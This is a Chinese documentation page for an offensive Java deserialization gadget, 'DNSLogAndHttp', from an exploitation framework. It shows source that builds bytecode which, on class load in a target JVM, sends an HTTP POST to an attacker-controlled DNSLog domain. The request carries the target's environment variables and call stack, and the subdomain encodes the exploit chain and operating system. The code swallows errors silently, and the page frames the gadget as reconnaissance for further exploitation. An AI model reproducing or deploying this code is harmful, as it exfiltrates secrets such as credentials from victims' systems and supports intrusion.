Skip to content

Latest commit

 

History

History
74 lines (65 loc) · 4.65 KB

File metadata and controls

74 lines (65 loc) · 4.65 KB

发起DNSLog和Http请求(DNSLogAndHttp)

  • 类别:bytecode 别名:— 优先级:15
  • 作者:Ar3h
  • 依赖:无(仅需目标 JVM、DNS 与 HTTP 出网)

作用

生成一段字节码:类加载时向 http://<子域名>.<os>.<dnslog> 发起一次 HTTP POST,请求体携带目标环境变量当前调用栈。一次动作同时探测 DNS 出网与 HTTP 出网,并把利用链、操作系统等信息回传给攻击者。description 指出其在 JNDIShowHand 链中常用,是「一键出网探测 + 信息回显」构件。

链接标签

  • 入口 tags
    • Bytecode —— 声明产出原始字节码 byte[],可被 nextTags=Bytecode 的加载器 BytecodeConvert 承接。
    • END —— 链终止标签,本 gadget 是最内层 sink。
  • 衔接 nextTags:空 —— 自身即字节码源头。
  • excludes:无。

源码剖析

gadget 本体负责「拼子域名 → 回填模板两个静态字段 → 返回字节码」:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(DNSLogAndHTTPReqBytecode.class);
    List<String> gadgetNameList = this.getGadgetNames();          // 取当前链上各 gadget 名
    if (gadgetNameList.size() > 1) {
        gadgetNameList.remove(gadgetNameList.size() - 1);         // 去掉最后一个(即本 sink 自身)
    }
    // payloadName = Payload 的 alias 或简单类名
    String payloadName = ... payload.getClass().getSimpleName();
    String subString = payloadName + "." + String.join(".", gadgetNameList); // 组回显子域名
    javassistHelper.modifyStringField("dnslog", this.dnslog);     // 回填 DNSLog 域名
    javassistHelper.modifyStringField("subString", subString);    // 回填链信息子域名
    return javassistHelper.getBytecode();
}

getGadgetNames() 遍历 context.getGadgetList(),优先取每个 gadget @GadgetAnnotationalias(无则用简单类名),并做清洗:replace("_","-")replaceAll("[^-a-zA-Z0-9]", ""),保证结果是合法 DNS 标签。由此把「用了哪条利用链」编码进子域名。

真正执行探测的是模板类 DNSLogAndHTTPReqBytecode(静态块 new 自身触发):

public DNSLogAndHTTPReqBytecode() {
    String osName = System.getProperty("os.name").toLowerCase();
    String os = osName.contains("win") ? "windows" : ... "unix"/"macos"/"unknown";
    if (subString.endsWith(".")) subString = subString.substring(0, subString.length()-1);
    String host = subString + "." + os + "." + dnslog;            // 子域名.系统.dnslog
    String jsonInputString = mapToString(System.getenv())         // 环境变量
        + "\n\n" + getCurrentStackTrace()                         // 调用栈
        + "\n\n" + subString;
    URL _url = new URL("http://" + host);
    HttpURLConnection connection = (HttpURLConnection)_url.openConnection();
    connection.setRequestMethod("POST");
    connection.setDoOutput(true);
    // ... 把 jsonInputString 作为 body 写出,再读取响应
}

要点:

  • 目标主机名本身就是回显载体——subString.os.dnslog,即便只有 DNS 出网(HTTP 被拦),DNSLog 也能收到「用了哪条链、什么系统」的解析。
  • System.getenv()Thread.currentThread().getStackTrace() 被打进 POST body,攻击者据此掌握目标环境变量与命中的调用栈,用于判断落地位置与后续利用。
  • 全程 try/catch 静默,探测失败不产生可见异常。

参数(@Param)

字段 名称 说明 默认 可选值
dnslog DNSLog地址 接收解析/HTTP 的域名,如 x.dnslog.cn 任意可控域名

适用版本与原理要点

  • description:本质是发起 HTTP 请求并 POST 调用栈、环境变量,可同时探测 DNSLog 与 HTTP 出网;在 JNDIShowHand 链中常用。
  • 不适合探测未配置 DNS 的服务器(此时应改用单独的 HTTPReq 链)。
  • 响应/子域名示例:deser.fastjson.templatesimpl.windows.xxx.eyes.sh——依次是 Payload 名、链上各 gadget 名、操作系统、DNSLog 根域。

所属预设链

自由构件,未直接出现在 51 条预设链中;按 description 主要服务于 JNDIShowHand 类的一键探测场景。可与 BytecodeConvert 组成 [BytecodeConvert, DNSLogAndHttp]

关联

  • 上游加载器(承接 Bytecode):BytecodeConvertTemplatesImpl
  • 同族探测 sink:DNSLog(仅裸 DNS)、DNSLogWithInfo(DNS + 链/系统信息子域名,但不发 HTTP)。
  • 功能对位的 RCE sink:Exec